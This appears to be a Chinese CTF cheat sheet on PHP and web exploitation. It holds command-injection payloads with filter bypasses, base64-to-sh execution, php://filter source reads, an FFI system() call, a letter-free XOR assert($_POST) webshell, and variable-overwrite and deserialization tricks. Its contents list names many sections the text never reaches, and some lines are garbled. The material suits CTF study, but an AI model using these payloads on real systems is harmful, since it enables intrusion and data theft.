CTF常见用法小总结
零零碎碎水了一堆,主要是自己用的時候方便查找,后來用的少了,決定發(fā)出來,對初學(xué)應(yīng)該還算有點用吧,很多地方生搬硬套了前輩的文章,這篇就權(quán)當(dāng)做個參考吧,缺的地方很多,自己補(bǔ)一補(bǔ),或者我學(xué)會后填上坑
layout: post
date: 2021-05-26
author: Sprint#51264
文章目錄
- 引言
- 隱藏內(nèi)容
- 正則繞過
- 空格繞過
- $IFS
- 分號
- 關(guān)鍵字(全字匹配)
- 清奇思路
- 命令執(zhí)行
- 概述
- 常見方法
- PHP特性命令
- 中斷進(jìn)程
- 直接函數(shù)使用
- 造參傳參
- 包含指定文件變量
- 變量輸出
- 目錄查看
- 數(shù)據(jù)庫對象PDO
- UAF(use after free)
- FFI(語言交互接口)
- 命令構(gòu)造
- shell命令
- 無字母RCE
- 位運(yùn)算`異或RCE`
- 位運(yùn)算`取反RCE`
- `$(())`數(shù)學(xué)運(yùn)算(適用于多種進(jìn)制)
- 頁面構(gòu)造
- linux cmd命令正則
- PHP字符串解析漏洞
- PHP常見函數(shù)
- 字符串函數(shù)
- 時間日期函數(shù)
- 數(shù)學(xué)相關(guān)函數(shù)
- 數(shù)組相關(guān)函數(shù)
- 判斷變量
- 文件操作函數(shù)(重要!!)
- 排序
- 報錯
- 常量
- 序列化
- 編碼
- PHP特性
- 短標(biāo)簽
- 函數(shù)繞過
- strcmp()
- intval()
- is_numeric
- preg_match
- 內(nèi)置類
- 反射類ReflectionClass
- 迭代器FilesystemIterator
- 變量覆蓋
- `extract(array,extract_rules,prefix)`變量覆蓋
- parse_str()
- 動態(tài)變量覆蓋
- parse_str(string,result)變量覆蓋
- import_request_variables()
- register_globals()
- 非法變量轉(zhuǎn)換
- 反序列化
- 魔法函數(shù)
- 字符逃逸
- 對象逃逸
- 方法引用
- 小技巧
- 文件上傳
- 前端驗證
- 后端驗證
- 類型繞過
- 一句話木馬
- 配置文件
- 常見文件頭
- 常見MIME類型
- 騷操作寫馬
- 小技巧
- 文件包含
- 常用偽協(xié)議
- 日志包含
- 日志路徑
- session包含(無后綴文件包含)
- 包含方法
- 文件開頭exit繞過
- 概述
- base64
- XSS
- XXE
- 源碼泄露
- 常用備份文件后綴
- 源碼泄露
- .hg源碼泄漏
- .git源碼泄漏
- .DS_Store文件泄漏
- SVN導(dǎo)致文件泄露
- CVS泄漏
- vim文件泄露
- WEB-INF/web.xml泄露
- 數(shù)據(jù)庫泄露
- asp+access
- 松散比較
- 常見函數(shù)繞過
- md5函數(shù)繞過
- SQL注入
- 右查詢
- 堆疊注入
- Handler
- 預(yù)處理
- 寬字節(jié)注入
- 報錯注入
- UPDATE 注入
- 盲注
- Bool盲注
- 時間盲注
- 函數(shù)存儲過程
- 其他注
- limit 注入(PROCEDURE)
- group by 注入
- 文件名注入
- 無列名注入
- 概述Mysql信息
- 常用函數(shù)
- 繞過過濾
- 小技巧
- 無參數(shù)RCE
- 前言
- 概念
- 使用
- getenv辦法
- getallheaders()
- get_defined_vars()
- session_id()
- dirname()&chdir()
- PHPINFO()關(guān)注點
- JAVA
- Javan基礎(chǔ)
- servlet
- Struts 2
- S2-001
- 模板注入
- 思路圖
- 常用payload
- 暴力破解
- burpsuite
- 爆破模式
- payload type
- payload processing
- 流量包分析
- binwalk判斷是否傳輸文件
- file 查看具體文件類型
- strings提取文件內(nèi)字符
- 常見命令
- linux
- 注
- 正則匹配
- 修飾符元字符
- 其他
- 管道符
- 語言特性
- 代碼執(zhí)行函數(shù)集合
- 顯示文件內(nèi)容函數(shù)總結(jié)
- 命令執(zhí)行函數(shù)集合
- 利用集合
- 抓包改包
- 概念科普
- 腳本
- 爆破腳本
- 繞過測試
- session 文件包含
- 工具參數(shù)
- SQLmap
- SQLMAP特性
- nmap
引言
開始做題掃泄露
頁面有互動就頁面上完成
頁面有內(nèi)容可以挖掘就從頁面入手
沒有思路就抓包分析
再沒有思路就第三方工具嘗試
數(shù)字過濾繞過構(gòu)造首先考慮特性,再考慮位運(yùn)算
隱藏內(nèi)容
- 頁面黑黢黢,拖鼠標(biāo)扒拉扒拉同顏色字體
- 查看頁面源碼直接看元素
- 掃描網(wǎng)站查看隱藏文件
- php://filter查看頁面源碼
- robots.txt隱藏頁面文件(對于不能掃目錄的網(wǎng)站更好用)
- 手動猜測隱藏的網(wǎng)頁例如register.php
正則繞過
空格繞過
$IFS
-
IFS(Internal Field Separator)內(nèi)部字段分隔符,默認(rèn)為空格,換行,制表符
$IFS
${IFS}
$IFS$1 //1改成1改成1改成加其他數(shù)字貌似都行
<
<>
{cat,flag.php} //用逗號實現(xiàn)了空格功能
%20(空格)
%09(制表符tab)
%0a(換行符)過濾中可能過濾數(shù)字,但這里的編碼在檢測的時候不算數(shù)字
%0b(垂直制表)
%0c(換頁符)
%0d(回車)
%00(空字符)
分號
- php中如果?>沒有被代替可以用其來代替分號,因為php中最后一條語句可以沒有分號
關(guān)鍵字(全字匹配)
-
\
linux下將關(guān)鍵字用\分隔,可以起到換行連接輸入的作用,但是關(guān)鍵字全字匹配不到
-
通配符
是通配符代替敏感詞中的某一部分,可以對特定文件執(zhí)行操作
-
''
shell特性,兩個單引號插在字符串中間,執(zhí)行的時候自動忽略
-
.source命令
刷新當(dāng)前shell環(huán)境
在當(dāng)前環(huán)境使用source執(zhí)行shell腳本 -
換命令
cat->tac(逆向輸出)->more(分頁輸出)->less(分頁輸出)->tail(文件最尾部信息)
-
tac
逆向輸出文件內(nèi)容
-
tail
顯示文件尾部內(nèi)容
-c<數(shù)目>顯示的字節(jié)數(shù)
-n<行數(shù)>顯示的行數(shù) -
head
顯示文件開頭的內(nèi)容
-c<數(shù)目>顯示的字節(jié)數(shù)
-n<行數(shù)>顯示的行數(shù) -
od
將文件內(nèi)容以八進(jìn)制形式輸出
-
nl
將文件添加行號標(biāo)注后寫到標(biāo)準(zhǔn)輸出
-
清奇思路
-
命令執(zhí)行變量拼接
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
-
過濾bash用sh執(zhí)行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
-
內(nèi)聯(lián)執(zhí)行
?ip=127.0.0.1;cat$IFS$9ls``
-
造參傳參
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
c=eval($_GET[1]);&1=system('cat flag.php');
c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
-
通配符
如果要對含有關(guān)鍵字的文件進(jìn)行訪問,可以使用cp命令結(jié)合通配符將文件拷貝到新的文件中,訪問新建文件讀取源文件內(nèi)容
cp fla?.php 1.txturl/1.txt -
移花接木
既然可以命令執(zhí)行,那就把對應(yīng)文件中的內(nèi)容cp到新的文檔中,然后對文檔內(nèi)容輸出,間接讀取
命令執(zhí)行
概述
命令執(zhí)行用到的方法在其他板塊中也有,主要就是繞過過濾,包含的內(nèi)容可能是空格繞過,php特性,shell特性,無參RCE,或者無字母RCE
常見方法
PHP特性命令
return 1-phpinfo()-1這樣可以執(zhí)行命令,中間的字符’-'可以替換成其他字符
return 1?phpinfo():1三目運(yùn)算符,可以執(zhí)行命令
中斷進(jìn)程
ob_get_contents();``ob_end_clean();獲取緩沖區(qū)內(nèi)容,清除緩沖區(qū)內(nèi)容,后面再跟一個替換內(nèi)容的函數(shù),我們傳參可以直接在后面跟 exit(0);退出進(jìn)程,停止執(zhí)行后面點函數(shù)
直接函數(shù)使用
echo highlight_file(xxx.php);
show_source(),file_get_contents(),readfile()
造參傳參
include($_GET[1]) 1=php:\/\/filter/read=convert.base64-encode/resource=xxx.php包含指定文件變量
include('flag.php');echo $flag;`變量輸出
include('flag.php');var_dump(get_defined_vars()); //先包含文件,在不知道對應(yīng)變量名的情況下輸出所有變量 如果是txt文本,包含之后默認(rèn)自動輸出,沒有php標(biāo)簽目錄查看
var_dump(scandir("/")); print_r(scandir(".")); var_export(); 如果scandir目錄被封就用*glob://*協(xié)議$c=$it=new DirectoryIterator("glob:///*.txt");//找到所有txt文件 foreach($it as $f) {//遍歷輸出printf("%s\n", $f->getFilename());//輸出文件名 }exit();數(shù)據(jù)庫對象PDO
PDO :PHP數(shù)據(jù)對象提供了一個數(shù)據(jù)訪問抽象層,不管使用哪種數(shù)據(jù)庫,都可以用相同的函數(shù)(方法)來查詢獲取數(shù)據(jù)。
try {$dbh = new PDO($dsn, $user, $pass); //初始化一個PDO對象echo "連接成功<br/>";/*你還可以進(jìn)行一次搜索操作foreach ($dbh->query('SELECT * from FOO') as $row) {print_r($row); //你可以用 echo($GLOBAL); 來看到這些值}*/$dbh = null; } catch (PDOException $e) {die ("Error!: " . $e->getMessage() . "<br/>"); }c=try {$dbh= new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36.txt")')as $row){echo($row[0])."|";}$dbh=null;}catch (PDOException $e){echo $e->getMessage();exit(0);}exit(0);UAF(use after free)
-
概述
參見UAF (Use After Free)漏洞分析及利用
應(yīng)用程序調(diào)用free()釋放內(nèi)存時,如果內(nèi)存塊小于256kb,dlmalloc并不馬上將內(nèi)存塊釋放回內(nèi)存,而是將內(nèi)存塊標(biāo)記為空閑狀態(tài)。這么做的原因有兩個:一是內(nèi)存塊不一定能馬上釋放回內(nèi)核(比如內(nèi)存塊不是位于堆頂端),二是供應(yīng)用程序下次申請內(nèi)存使用(主要原因,我覺得應(yīng)該是為了提高效率)。當(dāng)dlmalloc種空閑內(nèi)存達(dá)到一定值時dlmalloc才將空閑內(nèi)存釋放回內(nèi)核。如果應(yīng)用程序申請的內(nèi)存大于256kb,dlmalloc調(diào)用mmap()向內(nèi)存申請一塊內(nèi)存,返還給應(yīng)用程序使用。如果應(yīng)用程序釋放的內(nèi)存大于256kb,dlmalloc馬上調(diào)用munmao()釋放內(nèi)存。dlmallloc不會緩存大于256kb的內(nèi)存塊,因為這樣的內(nèi)存塊太大了,最好不要長期占用這么大的內(nèi)存資源。
-
正文
如此可見,如果p1指針指向的地址里面有一個函數(shù)p1[3]=echo,后來對p1空間進(jìn)行釋放,雖然釋放了,但是內(nèi)存還沒有歸還,還可以繼續(xù)調(diào)用,然后申請一個和p1相同大小的p2空間,那么系統(tǒng)就還會把p1的空間分配給p2,此時對p2進(jìn)行修改,就會修改p1中的內(nèi)容,替換函數(shù)為p2[3]=system,然后再調(diào)用p1[3]就可以執(zhí)行系統(tǒng)命令了
FFI(語言交互接口)
c=$ffi=FFI:cdef("int system(const char *command);"); $a='/readflag > /var/www/html/1.txt'; $ffi->system($a);exit();命令構(gòu)造
用于system()
從當(dāng)前路徑中截取字母構(gòu)造讀取命令nl.cat等等等等
${PATH:~0}${PWD:~0}$IFS????.???~數(shù)字或者字母都代表從最后往前數(shù)第幾個字母,從這個位置開始截取后面的字符串
#代表取長度,#SHLVL深度數(shù)字的長度為1,也就是深度是一個數(shù)字,對深度取長度就是1
/var/www/html # ls /bin
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???cat flag.php
- 常用變量
shell命令
- base64
無字母RCE
位運(yùn)算異或RCE
找到兩個非字母的字符,使得兩者二進(jìn)制異或之后變?yōu)閷?yīng)字母就可,將它們連接起來然后傳進(jìn)去okk
異或運(yùn)算,二進(jìn)制字符進(jìn)行比較,相同返回0,不同返回1
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);位運(yùn)算取反RCE
利用UTF-8編碼中的某個漢字,將其中的某個字符提取出來,比如'和'{2}的結(jié)果是\x8c,其取反為字母s
$(())數(shù)學(xué)運(yùn)算(適用于多種進(jìn)制)
$(())=0 ~$(())=~0 #取反 $((~$(())))=-1 #對-0進(jìn)行數(shù)學(xué)運(yùn)算$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(()))))))) #36 先對零取反再運(yùn)算得-1,36個-1相加再取反得36頁面構(gòu)造
構(gòu)造上傳文件頁面,php不能判斷這個頁面之后還會不會用到,就會先保留在臨時目錄下 /tmp/phpxxxxxX(五個小寫字母一個大寫字母)
linux cmd命令正則
- linux下’'可以用在命令行中,用在行尾可以換行并連接上一行命令尾部,也就是起換行的作用,但是命令不會中斷,所以可以用來繞過完整匹配模式的正則匹配
PHP字符串解析漏洞
PHP會將URL或者body中的查詢字符關(guān)聯(lián)到GET或者_(dá)GET或者G?ET或者_PSOT,例如?num=asd代表Array([num]=>"asd"),但是查詢字符串在解析的過程中會將某些字符刪除或者用下劃線代替,例如?%20num[01=asd代表著Array([num_01]=>"asd"),其中空格被刪去并且中括號被替換成了下劃線,利用這一點就可以對防火墻檢測策略進(jìn)行繞過。
如果檢測的是頁面GET的num變量,但是傳值傳的是%20num,在檢測過程中找不到num變量,但是在解析過程中PHP依舊會將%20num值賦給num,從而達(dá)到繞過檢測并傳遞非法值的目的。
PHP常見函數(shù)
內(nèi)容參見php常用的系統(tǒng)函數(shù)大全
字符串函數(shù)
| var_dump | 判斷一個變量的類型與長度,如果變量有值就輸出變量的類型與值 |
| strlen | 獲取字符串長度,字節(jié)長度 |
| substr_count | 某字符串出現(xiàn)的次數(shù) |
| substr | 字符串截取,獲取字符串(按照字節(jié)進(jìn)行截取) |
| mb_strlen | |
| mb_substr | |
| strchr | 與substr相似,從指定位置截取一直到最后 |
| strrchr(獲取文件后綴) | 與strchr一樣,只是從右邊開始查找字符 |
| strtolower | 所有的字符都小寫(針對英文字母) |
| strtoupper | 所有的字符都大寫 |
| strrev | 字符串反轉(zhuǎn)(只能反轉(zhuǎn)英文:英文存儲只有一個字節(jié)),按照字節(jié)進(jìn)行反轉(zhuǎn) |
| strpos | 從字符串中找對應(yīng)字符出現(xiàn)的位置(數(shù)字下標(biāo)),從最左邊開始找 |
| strrpos | 與strpos一樣,只是從字符串的右邊開始找 |
| trim | 去掉函數(shù)兩邊的字符,默認(rèn)是空格 |
| str_split | 函數(shù)把字符串分割到數(shù)組中。 |
| chunk_split() | 函數(shù)把字符串分割為一連串更小的部分 |
| str_repeat(“Shanghai”,5) | 把字符串 "Shanghai " 重復(fù) 5 次 |
| str_replace(‘\’,‘/’,dirname(DIR))) | 替換 |
| ucfirst | 首字母大寫 |
時間日期函數(shù)
| time | 得到當(dāng)前時間的時間戳(整型:從格林威治時間1970年1月1日0時0分0秒開始)秒數(shù) |
| date | 時間序列化函數(shù),將指定的時間戳轉(zhuǎn)換成規(guī)定時間日期的顯示格式(隨意的字符串:有專業(yè)的格式符規(guī)定),如果沒有指定時間戳,系統(tǒng)默認(rèn)使用當(dāng)前時間的時間戳 |
| strtotime | 時間日期格式的字符串轉(zhuǎn)換成對應(yīng)的時間戳(只要是正確的英語時間表達(dá)方式,都可以進(jìn)行轉(zhuǎn)換) |
| microtime | 微秒時間戳,根據(jù)不同的要求返回不同的結(jié)果 混合 microtime (布爾類型 ),可以返回一個浮點數(shù)的時間,也可以返回一個數(shù)組(時間戳和微秒數(shù)) |
數(shù)學(xué)相關(guān)函數(shù)
| abs | 絕對值 |
| floor | 向下取整 floor(3.2) 結(jié)果等于3 |
| ceil | 向上取整 |
| round | 四舍五入 |
| rand | 取得一個指定范圍內(nèi)的隨機(jī)整數(shù) |
| mt_rand | 取得一個指定范圍內(nèi)的隨機(jī)整數(shù)(效率更高) |
| min | PHP 會將非數(shù)值的 string 當(dāng)成 0,但如果這個正是最小的數(shù)值則仍然會返回一個字符串。如果多個參數(shù)都求值為 0 且是最小值,min() 會返回按字母表順序最小的字符串,如果其中沒有字符串的話,則返回數(shù)值的 0; |
| max | PHP 會將非數(shù)值的字符串當(dāng)成 0,但如果這個正是最大的數(shù)值則仍然會返回一個字符串。如果多個參數(shù)都求值為 0 且是最大值,max() 會返回其中數(shù)值的 0,如果參數(shù)中沒有數(shù)值的 0,則返回按字母表順序最大的字符串。對于多個數(shù)組,max從左到右比較;如果同時出現(xiàn)數(shù)組和非數(shù)組參數(shù)總把數(shù)組作為最大值返回; |
數(shù)組相關(guān)函數(shù)
| count() // 非數(shù)組返回1 | |
| key | 獲取當(dāng)前數(shù)組當(dāng)前指針?biāo)赶虻脑氐南聵?biāo) |
| current | 獲取的當(dāng)前指針指向元素的數(shù)值 |
| next | 獲取下一個元素的值,并且將指針下移 |
| prev | 獲取上一個元素的值,并且將指針上移 |
| end | 將指針移到數(shù)組的最后一個元素,并返回最終指針位置的值 |
| reset | 將指針移到數(shù)組的第一個元素,返回最終指針位置的值 |
| array_keys | 獲取一個數(shù)組的所有鍵名,返回一個索引數(shù)組 |
| array_values | 獲取一個數(shù)組的所有值,返回一個索引數(shù)組 |
| explode | 爆炸,將一個字符串按照某個指定的規(guī)則(通常是特殊字符),將數(shù)組分成多個段,每一段都當(dāng)做一個數(shù)組的元素,返回一個索引數(shù)組 |
| split | 類似 explode explode(‘.’, ‘a(chǎn)bc.txt’)等于split(‘.’,‘a(chǎn)bc.txt’) |
| implode | 粘合,將一個數(shù)組內(nèi)部的所有元素按照某個指定的規(guī)則(特殊字符),將所有的元素拼接成一個字符串 |
| join() | 把數(shù)組元素組合為一個字符串 |
| array_merge | 合并,指的是將兩個數(shù)組中的元素進(jìn)行累計。如果后面的數(shù)組與前面的數(shù)組有下標(biāo)(鍵名:關(guān)聯(lián))相同的,那么后面的元素的值會覆蓋前面的;如果是索引的相同下標(biāo),會自動的修改下標(biāo)疊加到前面的數(shù)組里。 |
| array_reverse | 返回反轉(zhuǎn)后的數(shù)組,也就是說原來數(shù)組倒數(shù)第二個元素變?yōu)檎龜?shù)第二個元素 |
| array_flip | 交換數(shù)組中的鍵和值 |
| 數(shù)據(jù)結(jié)構(gòu)模擬函數(shù)# | |
| array_shift | 從數(shù)組的前面彈出元素,得到元素的值 |
| array_pop | 從數(shù)組的后面彈出元素,獲得元素的值 |
| array_unshift | 從數(shù)組的前面壓入元素,得到當(dāng)前數(shù)組元素的個數(shù) |
| array_push | 從數(shù)組的后面壓入元素,得到當(dāng)前數(shù)組元素的個數(shù) |
判斷變量
| is_bool | 判斷是否是布爾類型 |
| is_float | 判斷浮點型 |
| is_integer | 判斷整型 |
| is_object | 判斷對象 |
| is_array | 判斷數(shù)組 |
| is_string | 判斷字符串 |
| is_resource | 判斷資源 |
| is_scalar | scalar是標(biāo)量的,判斷是基本數(shù)據(jù)類型:整型,浮點型,布爾型和字符串型 |
| is_null | 檢測變量是否為NULL 是返回TRUE 否則返回false。1.被賦值為NULL;2.變量沒被賦值;3.被unset() |
| is_numeric | 判斷數(shù)字或者純數(shù)字組成的字符串 |
| gettype | 獲得數(shù)據(jù)類型 |
| settype | 改變數(shù)據(jù)類型 |
| isset | |
| unset() | 如果在函數(shù)中 unset() 一個全局變量,則只是局部變量被銷毀,而在調(diào)用環(huán)境中的變量將保持調(diào)用 unset() 之前一樣的值,如果在函數(shù)中 unset() |
| empty | array(),“”,0,“0”,NULL,FALSE 都返回true |
文件操作函數(shù)(重要!!)
| opendir(路徑) | 打開一個路徑資源(將路徑內(nèi)部的所有數(shù)據(jù)讀入到內(nèi)存) |
| readdir(路徑資源) | 從文件夾資源中讀取當(dāng)前資源指針?biāo)赶虻奈募拿?#xff0c;指針會向下移動一位 |
| closedir(資源) | 釋放對應(yīng)的文件資源 |
| scandir(路徑) | 讀取一個路徑內(nèi)部的所有文件名,返回一個數(shù)組,數(shù)組的每一個元素都是文件名。 |
| file_exists | 判斷一個文件是否存在(文件是廣義:路徑和文件) |
| is_dir | 判斷一個指定路徑是否存在(文件夾) |
| is_file | 判斷一個指定路徑是否是文件(文件) |
| mkdir | 創(chuàng)建一個路徑,如果路徑存在就會報錯 |
| rmdir | 移除文件夾 |
| file_get_contents | 從一個指定的文件內(nèi)讀取數(shù)據(jù)內(nèi)容。 |
| file_put_contents | 將指定的字符串寫入到對應(yīng)的文件 |
| fopen | 打開一個文件資源 |
| fgetc | c代表character,一次讀取一個字符 |
| fgets | s代表string,代表可以讀取多個字符,取決于指定的讀取長度或者是否碰到換行(最多只能讀取一行數(shù)據(jù)) |
| 兩個函數(shù)都是對當(dāng)前資源指針進(jìn)行操作,讀取之后都會將指針下移 | |
| fread | 獲取指定長度的數(shù)據(jù)直到文件結(jié)束 |
| fwrite | 向文件資源指針?biāo)诘奈恢脤懭霐?shù)據(jù),寫東西不會將當(dāng)前位置已有的東西往后移,而是會覆蓋 |
| fseek | 將指針指定到對應(yīng)的位置 |
| fclose | 使用對應(yīng)的文件資源 |
| copy | 復(fù)制 |
| unlink | 刪除文件 |
| rename | 重命名文件 |
| filemtime | m代表modify,文件最后被修改的時間 |
| filesize | 文件大小(字節(jié)) |
| fileperms | 文件權(quán)限(Linux下的八進(jìn)制) |
排序
| rsort() | 函數(shù)用于對數(shù)組單元從高到低進(jìn)行排序。 |
| asort() | 函數(shù)用于對數(shù)組單元從低到高進(jìn)行排序并保持索引關(guān)系。 |
| arsort() | 函數(shù)用于對數(shù)組單元從高到低進(jìn)行排序并保持索引關(guān)系。 |
| ksort() | 函數(shù)用于對數(shù)組單元按照鍵名從低到高進(jìn)行排序。 |
| krsort() | 函數(shù)用于對數(shù)組單元按照鍵名從高到低進(jìn)行排序。 |
報錯
| error_reporting(E_ALL) | |
| ini_set(‘display_errors’, 1) |
常量
| define() 定義常量 | |
| defined() 檢測常量是否定義 |
序列化
| serialize | |
| unserialize | |
| json_encode | 對變量進(jìn)行 JSON 編碼 |
| json_decode | 對JSON 格式的字符串進(jìn)行編碼 |
編碼
base64_encode 編碼
本函數(shù)將字符串以 MIME BASE64 編碼。在 BASE64 編碼后的字符串只包含英文字母大小寫、阿拉伯?dāng)?shù)字、加號與反斜線,共 64 個基本字符,不包含其它特殊的字符,因而才取名 BASE64。
base64_decode 解碼
PHP特性
短標(biāo)簽
-
<? echo '123';?>
前提是開啟配置參數(shù)short_open_tags=on -
<?=(表達(dá)式)?> 等價于 <?php echo (表達(dá)式)?>
不需要開啟參數(shù)設(shè)置 -
<% echo '123';%>
前提是開啟配置參數(shù)asp_tags=on,經(jīng)過測試發(fā)現(xiàn)7.0及以上修改完之后也不能使用,而是報500錯誤,但是7.0以下版本在修改完配置后就可以使用了 -
<script language=”php”>echo '123'; </script>
不需要修改參數(shù)開關(guān),但是只能在7.0以下可用。
函數(shù)繞過
strcmp()
strcmp()函數(shù)的作用是比較兩個字符串
如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果兩者相等,返回 0
strcmp函數(shù)無法比較數(shù)組,返回0
intval()
通過使用指定的進(jìn)制 base 轉(zhuǎn)換(默認(rèn)是十進(jìn)制),返回變量 value 的 int 數(shù)值。 intval() 不能用于 object,否則會產(chǎn)生 E_NOTICE 錯誤并返回 1。
數(shù)組是對象,可以通過傳數(shù)組判斷方法
成功時返回 var 的 integer 值,失敗時返回 0。 空的 array 返回 0,非空的 array 返回 1。
intval(mixed $value, int $base = 10): int//要轉(zhuǎn)換成 integer 的數(shù)量值,轉(zhuǎn)化所使用的進(jìn)制
如果 base 是 0,通過檢測 value 的格式來決定使用的進(jìn)制:
如果字符串包括了 “0x” (或 “0X”) 的前綴,使用 16 進(jìn)制 (hex);否則,如果字符串以 “0” 開始,使用 8 進(jìn)制(octal);否則,將使用 10 進(jìn)制 (decimal)。
echo intval(42); // 42 echo intval(4.2); // 4 echo intval('42'); // 42 echo intval('+42'); // 42 echo intval('-42'); // -42 echo intval(042); // 34 echo intval('042'); // 42 echo intval(1e10); // 1410065408 echo intval('1e10'); // 1 echo intval(0x1A); // 26 echo intval(42000000); // 42000000 echo intval(420000000000000000000); // 0 echo intval('420000000000000000000'); // 2147483647 echo intval(42, 8); // 42 echo intval('42', 8); // 34 echo intval(array()); // 0 echo intval(array('foo', 'bar')); // 1intval()函數(shù)如果base為0則base為0則base為0則var中存在字母的話遇到字母就停止讀取 但是e這個字母比較特殊,可以在PHP中不是科學(xué)計數(shù)法。所以為了繞過前面的==4476我們就可以構(gòu)造 4476e123 其實不需要是e其他的字母也可以
intval對加號或者空格開頭的數(shù)字會自動進(jìn)行去空處理
- 繞過
is_numeric
判斷參數(shù)是否為數(shù)字,數(shù)字前加(空)可以繞過
常用空字符
preg_match
正則匹配,有正則溢出
250000次
內(nèi)置類
利用內(nèi)置類結(jié)合函數(shù)執(zhí)行,可以在類創(chuàng)造的時候執(zhí)行對應(yīng)代碼
反射類ReflectionClass
echo new ReflectionClass() 可以將括號中的語句在類構(gòu)建時執(zhí)行迭代器FilesystemIterator
目錄迭代器
v1=FilesystemIterator&v2=getcwd變量覆蓋
(PHP中的變量覆蓋漏洞)[https://www.cnblogs.com/xhds/p/12587249.html]
extract(array,extract_rules,prefix)變量覆蓋
[安洵杯 2019]easy_serialize_php
extract() 函數(shù)從數(shù)組中將變量導(dǎo)入到當(dāng)前的符號表。
該函數(shù)使用數(shù)組鍵名作為變量名,使用數(shù)組鍵值作為變量值。針對數(shù)組中的每個元素,將在當(dāng)前符號表中創(chuàng)建對應(yīng)的一個變量。
該函數(shù)返回成功設(shè)置的變量數(shù)目。
當(dāng)我們傳入SESSION[flag]=123時,$SESSION["user"]和$SESSION['function'] 全部會消失。
parse_str()
parse_str() 函數(shù)把查詢字符串解析到變量中。
注釋:如果未設(shè)置 array 參數(shù),由該函數(shù)設(shè)置的變量將覆蓋已存在的同名變量。
注釋:php.ini 文件中的 magic_quotes_gpc 設(shè)置影響該函數(shù)的輸出。如果已啟用,那么在 parse_str() 解析之前,變量會被 addslashes() 轉(zhuǎn)換。
extract(_POST)@parse_str($_SERVER['QUERY_STRING']); extract($_POST);像這種情況,如果你GET傳一個_POST[]數(shù)組,那么就會覆蓋原有準(zhǔn)備`$_POST`傳參的變量,也就是說,原來是需要POST傳參的,但是現(xiàn)在被GET傳的同名數(shù)組給替換了。動態(tài)變量覆蓋
foreach($_GET as $key=>$value) 意思就是將get的賦值變?yōu)?span id="ze8trgl8bvbq" class="token variable">$key=$value if get:a=b 也就是說($key=a)=>($value=b) $bar= "a"; $Foo="Bar"; $World="Foo"; $Hello="world"; $a="Hello";echo $a; //hello echo $$a; //world echo $$$a; //foo echo $$$$$a; //Bar echo $$$$$$a; //a echo $$$$$$$a; //hello echo $$$$$$$$a; //worldparse_str(string,result)變量覆蓋
該函數(shù)將查詢的字符串解析到變量中
parse_str(string,array)
如果 string 是 URL 傳遞入的查詢字符串(query string),則將它解析為變量并設(shè)置到當(dāng)前作用域(如果提供了 result 則會設(shè)置到該數(shù)組里 )。
import_request_variables()
(PHP 4 >= 4.1.0, PHP 5 < 5.4.0)
將 GET/POST/Cookie 變量導(dǎo)入到全局作用域中
register_globals()
在PHP5.3之前 默認(rèn)開啟 PHP5.3默認(rèn)關(guān)閉 PHP5.6及5.7已經(jīng)被移除
當(dāng)register_globals全局變量設(shè)置開啟時,傳遞過來的值會被直接注冊為全局變量而使用,這會造成全局變量覆蓋
非法變量轉(zhuǎn)換
PHP變量中包含數(shù)字字母下劃線,PHP對定義的非法變量進(jìn)行轉(zhuǎn)換,但是在整個非法變量中只轉(zhuǎn)換一次,也就是說,如果一個變量中出現(xiàn)兩個非法字符,將只轉(zhuǎn)換第一個,對第二個不進(jìn)行轉(zhuǎn)換。
what[123.com => what_123.com #此處只對第一處非法字符進(jìn)行轉(zhuǎn)換,而沒有轉(zhuǎn)換`.`反序列化
序列化與反序列化只是數(shù)據(jù)形式的變換,所以并不是只針對于定義好的類。
a=′what′;echoserialize(a='what';echo serialize(a=′what′;echoserialize(a);//s:5:“what?”
對一個對象進(jìn)行序列化,只是將其屬性數(shù)據(jù)保存起來,但是并不保存其方法,因為方法并不是數(shù)據(jù)
魔法函數(shù)
_wakeup()函數(shù)繞過
5.6版本?以下使序列化后的數(shù)據(jù)對象個數(shù)與實際不符,就可以。 7.4版本以上,如果類中有__unserialize()方法的話自動繞過__wakeup()魔法函數(shù)__construct: 在創(chuàng)建對象時候初始化對象,一般用于對變量賦初值。
__destruct: 和構(gòu)造函數(shù)相反,當(dāng)對象所在函數(shù)調(diào)用完畢后執(zhí)行。
__toString:當(dāng)對象被當(dāng)做一個字符串使用時調(diào)用。
__sleep:序列化對象之前就調(diào)用此方法(其返回需要一個數(shù)組)
__wakeup:將在反序列化之后立即被調(diào)用,反序列化恢復(fù)對象之前調(diào)用該方法
__call:當(dāng)調(diào)用對象中不存在的方法會自動調(diào)用該方法。
__get:在調(diào)用私有屬性的時候會自動執(zhí)行
__isset()在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)
__unset()在不可訪問的屬性上使用unset()時觸發(fā)
__invoke() 將對象當(dāng)作函數(shù)來使用的時候,會自動調(diào)用該方法
字符逃逸
-
增字符適用場景
通常用于先對一個類序列化之后再進(jìn)行字符替換,然后再進(jìn)行反序列化,此時序列化中被替換后的字符串如果和其標(biāo)明的長度不相符,比如標(biāo)明長度為6,但是字符串長度卻為7,就會造成一個字符逃逸讀不到,提前尋找閉合,利用這個特性就可以構(gòu)造payload
